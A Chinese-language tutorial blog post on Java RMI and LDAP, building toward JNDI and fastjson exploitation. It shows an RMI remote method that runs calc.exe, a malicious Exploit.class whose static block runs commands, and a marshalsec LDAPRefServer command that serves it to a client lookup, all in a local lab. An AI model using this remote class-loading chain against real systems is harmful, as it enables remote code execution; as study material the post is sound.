Java篇之RMI & LDAP

RMI & LDAP

这篇文章来总结两个基础知识,rmildap,内容比较简单,为后面的jndifastjson做个铺垫

RMI

RMI(Remote Method Invocation),即Java远程方法调用,一种用于实现远程过程调用应用程序编程接口,它使客户机上运行的程序可以通过网络实现调用远程服务器上的对象,要实现RMI,客户端和服务端需要共享同一个接口,先来看看服务端:

接口:

1
2
3
4
5
6
7
package rmidemo;

import java.rmi.Remote;

public interface evil extends Remote {
public void evil() throws Exception;
}

实现类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package rmidemo;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class eviltest extends UnicastRemoteObject implements evil {
protected eviltest() throws RemoteException {
}

@Override
public void evil() throws Exception {
Runtime.getRuntime().exec("calc.exe");
}
}

服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
package rmidemo;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class rmiserver {
public static void main(String[] args) throws Exception{

LocateRegistry.createRegistry(1089);
evil evil = new eviltest();
Naming.rebind("rmi://127.0.0.1:1089/evil", evil);
}
}

然后我们在kali中编写客户端,因为要实现远程方法调用嘛,那就相当于用我的虚拟机去调我的真机,这里有个细节就是客户端的包名也要和服务端的相同;接口代码和服务端是一样的:

1
2
3
4
5
6
7
8
9
10
package rmidemo;

import java.rmi.Naming;

public class rmiclienr {
public static void main(String[] args) throws Exception {
evil evil = (evil) Naming.lookup("rmi://10.24.38.47:1089/evil");
evil.evil();
}
}

运行这段代码,真机弹出计算器:

image.png

上面这个例子,就为我们展现了一个很简单的rmi远程通信,接下来来总结总结:

一个RMI的服务器分为三部分,首先是一个继承了java.rmi.Remote的接口,里面有我们要远程调用的方法;然后是一个实现了该接口的类;最后是一个主类,首先创建并运行RMI Registry,然后将实现类对象绑定到evil这个名字上,这就是RMI服务器

RMI的客户端就非常简单了,利用Naming.lookup方法在地址中去寻找我们绑定的对象,然后将这对象返回,接下来就和本地用法一样了

偷一张p神的图就把这些关系说清楚了:

image.png

RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name到对象的绑定关系;RMI Client通过NameRMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程⽅法实际上在RMI Server上调⽤,很清晰

LDAP

LDAP(Lightweight Directory Access Protocol),轻型目录访问协议,是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。

其实ldap的流程与上面的rmi基本一致,它主要能储存以下Java对象:

  1. Java serializable objects
  2. Referenceable objects and JNDI References
  3. Objects with attributes (DirContext)
  4. RMI (Java Remote Method Invocation) objects (including those that use IIOP)
  5. CORBA objects

而这里我们主要用的是第二点,也就是Reference对象,这个讲jndi的时候再来讲,不慌

这里我们来推荐一个工具,marshalsecmarshalsec是一个快速搭建恶意的rmi或者ldap服务器的工具

下载地址:https://github.com/RandomRobbieBF/marshalsec-jar

我们首先把编译好的恶意类Exploit.class放到web根目录下面,这里我直接放在WWW目录下面了,打开phpstudy就能访问了

恶意类的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit implements ObjectFactory
{

static {
System.err.println("success");
try {
String cmd = "calc.exe";
Runtime.getRuntime().exec(cmd);

Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec("cmd.exe /c dir");
InputStream inputStream = process.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(inputStream, "gb2312"));
while(br.readLine()!=null)
System.out.println(br.readLine());

} catch ( Exception e ) {
e.printStackTrace();
}
}

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

这里看起来有点儿复杂,因为我想执行个dir目录并且看到回显,这在Java中显得有点儿费劲

然后用marshalsec搭建ldap服务:

1
java -cp mar*.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/\#Exploit 1089

最后来写个客户端,这个简单,就两行代码:

1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class ladp {
public static void main(String[] args) throws NamingException {
Object object=new InitialContext();
((InitialContext) object).lookup("ldap://127.0.0.1:1089/Exploit");
}
}

image.png

image.png

水文一篇哈哈哈,最近学的有点儿散,打脑壳得很

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信